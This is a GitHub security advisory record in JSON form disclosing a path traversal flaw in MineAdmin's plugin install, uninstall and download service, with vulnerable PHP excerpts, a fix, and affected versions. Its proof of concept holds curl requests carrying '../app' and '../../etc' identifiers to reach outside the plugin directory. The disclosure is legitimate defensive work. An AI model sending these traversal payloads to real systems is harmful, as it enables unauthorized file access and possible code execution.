{"id":"GHSA-59xm-4m8c-g3xj","summary":"MineAdmin Vulnerable to Path Traversal via Unsanitized identifier in Plugin Install/Uninstall","details":"## Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall\n\n### Summary\nThe app-store plugin service concatenates unsanitized user-supplied `identifier` values directly into file system paths. An attacker can use path traversal sequences (e.g., `../`) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.\n\n### Vulnerable Code\n\n**File:** `plugin/mine-admin/app-store/src/Service/Service.php`\n\n```php\n// Line 32 - download(): path traversal via identifier\npublic function download(array $params): bool\n{\n    if (empty($params['identifier']) || empty($params['version'])) {\n        $this-\u003ethrowParamsFail();\n    }\n    $service = make(AppStoreServiceImpl::class);\n    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal\n        $result = $service-\u003edownload($params['identifier'], $params['version']);\n        // ...\n    }\n    return true;\n}\n\n// Line 48 - install(): path traversal + Plugin::install() with raw identifier\npublic function install(array $params): bool\n{\n    // ...\n    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal\n    if (file_exists($path . '/install.lock')) {\n        $this-\u003ethrowAppInstalled();\n    }\n    Plugin::install($params['identifier']);  // May run composer commands with traversal path\n    return true;\n}\n\n// Line 70 - unInstall(): same pattern\npublic function unInstall(array $params): bool\n{\n    // ...\n    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal\n    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall\n    return true;\n}\n```\n\n**File:** `plugin/mine-admin/app-store/src/Controller/IndexController.php` (lines 25-26)\n\n```php\n#[Controller(prefix: 'admin/plugin/store')]\n#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]\n// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)\n```\n\n### Proof of Concept\n\n```bash\n# Install a \"plugin\" from a traversed path, potentially triggering composer on\n# arbitrary directories\ncurl -X POST \"http://localhost:9501/admin/plugin/store/install\" \\\n  -H \"Authorization: Bearer \u003cJWT_TOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"identifier\": \"../app\", \"version\": \"1.0.0\"}'\n\n# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app\n# Plugin::install(\"../app\") processes the application directory as a plugin\n\n# Check if arbitrary path exists:\ncurl -X POST \"http://localhost:9501/admin/plugin/store/download\" \\\n  -H \"Authorization: Bearer \u003cJWT_TOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"identifier\": \"../../etc\", \"version\": \"1.0.0\"}'\n```\n\n### Impact\n\n- Path traversal enables reading directory existence outside the plugin directory\n- `Plugin::install()` with a traversed identifier may run composer commands on arbitrary directories\n- Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this\n- Could lead to arbitrary code execution depending on `Plugin::install()` implementation\n\n### Remediation\n\nValidate and sanitize the `identifier` parameter to reject path traversal sequences. Use `basename()` or a strict regex allowlist (e.g., `^[a-zA-Z0-9_-]+$`) before concatenating into file paths.\\n\\n---\\n\\n**Update:** This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.","aliases":["CVE-2026-55224"],"modified":"2026-08-18T20:56:02.588775Z","published":"2026-08-18T20:40:37Z","database_specific":{"github_reviewed_at":"2026-08-18T20:40:37Z","nvd_published_at":null,"cwe_ids":["CWE-22"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/mineadmin/MineAdmin/security/advisories/GHSA-59xm-4m8c-g3xj"},{"type":"WEB","url":"https://github.com/mineadmin/MineAdmin/commit/ca41902a2a5422676227e5088f4cc1dec06044f1"},{"type":"PACKAGE","url":"https://github.com/mineadmin/MineAdmin"},{"type":"WEB","url":"https://github.com/mineadmin/MineAdmin/releases/tag/v3.2.0-alpha.2"}],"affected":[{"package":{"name":"mineadmin/mineadmin","ecosystem":"Packagist","purl":"pkg:composer/mineadmin/mineadmin"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.2.0-alpha.2"}]}],"versions":["2.0.0-alpha.1","v0.6.2","v0.6.3","v0.7.0","v0.7.1","v0.7.2","v1.0.0","v1.1.0","v1.1.1","v1.2.0","v1.2.1","v1.3.0","v1.3.3","v1.4.1","v1.4.11","v1.4.12","v1.4.13","v2.0-RC.1","v2.0.0-alpha.2","v2.0.0-alpha.3","v2.0.0-alpha.4","v2.0.0-alpha.5","v2.0.0-beta","v2.0.0-beta.1","v2.0.0-beta.2","v2.0.0-beta.3","v2.0.0-beta.4","v2.0.0-beta.5","v2.0.0-beta.6","v2.0.1","v2.0.1.1","v2.0.2","v2.0.3","v3.0","v3.0-RC","v3.0.1","v3.0.2","v3.0.3","v3.0.4","v3.0.5","v3.0.6","v3.0.7","v3.0.8","v3.0.9","v3.2.0-alpha.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-59xm-4m8c-g3xj/GHSA-59xm-4m8c-g3xj.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}]}